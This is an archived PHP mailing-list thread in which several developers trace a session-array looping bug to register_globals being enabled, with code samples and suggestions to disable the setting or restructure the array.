Re: [PHP] SESSION array problems [ANOTHER SOLUTION]
register_globals has been deprecated as of PHP6. So writing PHP code to work without global registering not just prevents variable poisoning, it also increases the life span of your scripts. I still wonder if using php_flag register_globals off in .htaccess might affect servers running PHP4 and using safe mode as in ... http://forum.mamboserver.com/showthread.php?t=44514 A yeti -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] SESSION array problems [ANOTHER SOLUTION]
Hi gang: While this may be trivial to many of you, I post this for the others. In my last problem, which was caused by register globals being ON, I wondered how I could fix this. In my specific case, the client had Register Globals ON and his host objected to turning if OFF saying that other scripts might break. After hearing that, the client was not willing to risk it. So, I looked at some of my older scripts and found I had used: ini_set( 'register_globals', '0' ); But in my last problem, neither '0' or 'off' did anything. So, I looked at the manuals again: http://www.php.net/manual/en/ini.php The manual says, I can change this directive: Entry can be set in php.ini, .htaccess or httpd.conf So, by simply adding an .htaccess file with the following -- php_flag register_globals off -- fixed the problem.

Your point is well taken, but I'm not sorting this.
True, the arrays have a common index, which is 0, 1, 2, 3 ...
[user_id] = Array
(
[0] = 6156
[1] = 7030
[2] = 656
)
[first_name] = Array
(
[0] = Diane
[1] = Fred
[2] = Helen
)
[last_name] = Array
(
[0] = Cable
[1] = Cago
[2] = Cahalan
But the data is relational, such as:
Diane Cable has user id 6156.
I collected the data like this (in a loop):
$_SESSION['user_id'][] = $value;
$_SESSION['first_name'][] = $first_name;
$_SESSION['last_name'][] = $last_name;
Doing this is fine -- the index is automatic.
I thought I could retrieve the data by using:
$num_users = count($_SESSION['user_id']); // --- this works (correct
$num_users)
for ($i = 0; $i $num_users; $i++)
{
$last_name = $_SESSION['last_name'][$i];
$first_name = $_SESSION['first_name'][$i];
echo(trtd$last_name/tdtd$first_name/td/tr); }
But that doesn't work. What's really odd is only the first loop works.
I'm thinking register_globals here. In every example you've posted,
you've used $last_name and $_SESSION['last_name'] -- but these are the
same thing if register_globals is on, and would lead to your posted
output with the single characters on the 2nd iteration and nothing after
that!
At least one posted suggestion used $first and $last rather than
$first_name and $last_name -- did you actually try with the shorter
names, or stick with your longer matching ones?
Cheers!

Re: [PHP] SESSION array problems [SOLVED]
Hi gang:
As strange as it may seem, but when session variables are passed to
another page (i.e., used) you cannot extract ALL OF THEM using a loop
when the variable names you are using are the same as the SESSION
index's names.
In other words, you cannot do this:
for ($i = 0; $i $num_users; $i++)
{
$last_name = $_SESSION['last_name'][$i];
$first_name = $_SESSION['first_name'][$i];
echo(p$last_name $first_name/p);
}
But you can do this:
for ($i = 0; $i $num_users; $i++)
{
$last = $_SESSION['last_name'][$i];
$first = $_SESSION['first_name'][$i];
echo(p$last $first/p);
}
See the difference?
This was a crazy one.
Now, someone show me where that is documented?

As several of us have suggested now, it's got to be register_globals.
That would make the following blocks of code equivalent:
?php
for ($i = 0; $i $num_users; $i++)
{
$last_name = $_SESSION['last_name'][$i];
$first_name = $_SESSION['first_name'][$i];
echo(p$last_name $first_name/p);
}
for ($i = 0; $i $num_users; $i++)
{
$_SESSION['last_name'] = $_SESSION['last_name'][$i];
$_SESSION['first_name'] = $_SESSION['first_name'][$i];
echo(p{$_SESSION['last_name']} {$_SESSION['first_name']}/p);
}

Me including your email address in my replies (which I will continue to do - that's what you have to pay to get my advice) affects you and you alone and is simply a result of you subscribing to this mailing list through the newsgroup rather than as a mailing list as FSM intended.

hi tedd,
if I may suggest this model
$_SESSION
{
[6156]
{
[first_name]= Diane
[last_name] = Cable
}
[7030]
{
[first_name]= Fred
[last_name]= Cago
}
[656]
{
[first_name]= Helen
[last_name]= Cahalan
}
}
main reason - if you sort by first or last name you will lose index.
this way is index always linked to first/last name.
foreach ($_SESSION as $key = $value)
{
echo $_SESSION[$key]['last_name'].',
'.$_SESSION[$key]['first_name'].'br';
}
didn't test it, though :-)

Your point is well taken, but I'm not sorting this.
True, the arrays have a common index, which is 0, 1, 2, 3 ...
[user_id] = Array
(
[0] = 6156
[1] = 7030
[2] = 656
)
[first_name] = Array
(
[0] = Diane
[1] = Fred
[2] = Helen
)
[last_name] = Array
(
[0] = Cable
[1] = Cago
[2] = Cahalan
But the data is relational, such as:
Diane Cable has user id 6156.
I collected the data like this (in a loop):
$_SESSION['user_id'][] = $value;
$_SESSION['first_name'][] = $first_name;
$_SESSION['last_name'][] = $last_name;
Doing this is fine -- the index is automatic.
I thought I could retrieve the data by using:
$num_users = count($_SESSION['user_id']); // --- this works
(correct $num_users)
for ($i = 0; $i $num_users; $i++)
{
$last_name = $_SESSION['last_name'][$i];
$first_name = $_SESSION['first_name'][$i];
echo(trtd$last_name/tdtd$first_name/td/tr);
}
But that doesn't work. What's really odd is only the first loop works.
PLUS, a dump of the SESSION arrays done just before the loop does
produce what's shown above. So, the data is there, I'm just not
retrieving it.
There's something here that I'm not understanding. I always seem to
have problems with Multidimensional Arrays -- I think it's my
dyslexia kicking in.

tedd

Must be something else in your code or some bad server config, because
this works great for me:
?php
session_start();
$_SESSION['user_id'][] = '6156';
$_SESSION['first_name'][] = 'Diane';
$_SESSION['last_name'][]= 'Cable';
$_SESSION['user_id'][] = '1234';
$_SESSION['first_name'][] = 'Big';
$_SESSION['last_name'][]= 'Ron';
$_SESSION['user_id'][] = '8867';
$_SESSION['first_name'][] = 'Joe';
$_SESSION['last_name'][]= 'Dirt';
$num_users = count($_SESSION['user_id']);
for ($i = 0; $i $num_users; $i++)
{
$last_name = $_SESSION['last_name'][$i];
$first_name = $_SESSION['first_name'][$i];
echo(p$last_name, $first_name/p);
}
?
Outputs this:
Cable, Diane
Ron, Big
Dirt, Joe

tedd,
I just copied your code, created your sessions and - it works fine.
http://afan.net/tedd.php
code:
?php
session_start();
$_SESSION['user_id'] = array(6156, 7030, 656);
$_SESSION['first_name'] = array('Diane', 'Fred', 'Helen');
$_SESSION['last_name'] = array('Cable', 'Cago', 'Cahalan');
echo 'pre';
print_r($_SESSION);
$num_users = count($_SESSION['user_id']); // --- this works (correct
$num_users)
echo ?: .$num_users.'brtable border=1';
for ($i = 0; $i $num_users; $i++)
{
$last_name = $_SESSION['last_name'][$i];
$first_name = $_SESSION['first_name'][$i];
echo(trtd$last_name/tdtd$first_name/td/tr);
}
echo '/table';
I think there is something outside your code.

I still see an index mixing issue here for you. However, on a side note, why
don't you create user objects and then just stick the object(s) in the
$_SESSION array? Then just while() loop the session and pull the objects out.

Why don't you echo what you are trying to access for each loop
for ($i = 0; $i $num_users; $i++)
{
print_r($_SESSION['last_name'][$i]);
print_r($_SESSION['first_name'][$i]);
}
Does the above return to you what you would expect?
An alternate to what you are doing here would be this.
foreach ( $_SESSION['user_id'] AS $i=$id)
{
print_r($id);
print_r($_SESSION['last_name'][$i]);
print_r($_SESSION['first_name'][$i]);
}
How about this?
